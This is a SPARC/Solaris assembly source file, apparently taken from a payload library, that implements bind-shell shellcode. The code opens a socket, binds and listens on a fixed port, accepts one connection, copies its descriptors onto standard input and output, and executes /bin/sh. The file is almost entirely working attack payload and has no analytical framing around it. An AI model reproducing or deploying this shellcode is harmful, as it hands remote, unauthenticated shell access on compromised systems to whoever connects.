97 lines
2.0 KiB
ArmAsm
97 lines
2.0 KiB
ArmAsm
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/*
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* sol-sparc-bndsockcode.s
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* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
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*
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* This library is free software; you can redistribute it and/or
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* modify it under the terms of the GNU Lesser General Public
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* License as published by the Free Software Foundation; either
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* version 2.1 of the License, or (at your option) any later version.
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*
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* This library is distributed in the hope that it will be useful,
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* but WITHOUT ANY WARRANTY; without even the implied warranty of
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* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
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* Lesser General Public License for more details.
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*
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* You should have received a copy of the GNU Lesser General Public
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* License along with this library; if not, write to the Free Software
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* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
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*
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*/
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.globl _start
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_start:
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# 00 bytes
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bndsockcode:
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# so_socket
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mov 0x02,%o4
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xor %o3,%o3,%o3
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xor %o2,%o2,%o2
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mov 0x02,%o1
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mov 0x02,%o0
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mov 0xe6,%g1
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ta 0x08
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st %o0,[%sp-0x08]
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# bind
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set 0x204d2fff,%l0
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srl %l0,12,%l0
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mov 0x02,%o3
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mov 0x10,%o2
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st %l0,[%sp-0x10]
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st %g0,[%sp-0x0c]
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sub %sp,0x10,%o1
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mov 0xe8,%g1
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ta 0x08
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# listen
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mov 0x05,%o1
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ld [%sp-0x08],%o0
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mov 0xe9,%g1
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ta 0x08
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# accept
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xor %o2,%o2,%o2
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xor %o1,%o1,%o1
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ld [%sp-0x08],%o0
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mov 0xea,%g1
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ta 0x08
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st %o0,[%sp-0x04]
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# fcntl
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mov 0x03,%o2
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0:
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subcc %o2,1,%o2
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mov 0x09,%o1
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mov 0x3e,%g1
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ta 0x08
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bnz,a 0b
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ld [%sp-0x04],%o0
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shellcode:
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xor %o2,%o2,%o2
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sethi %hi(0x2f62696e),%l0
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or %l0,0x96e,%l0
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sethi %hi(0x2f736800),%l1
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std %l0,[%sp-0x08]
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sub %sp,0x08,%o0
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st %o0,[%sp-0x10]
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st %g0,[%sp-0x0c]
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sub %sp,0x10,%o1
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mov 0x3b,%g1
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ta 0x08
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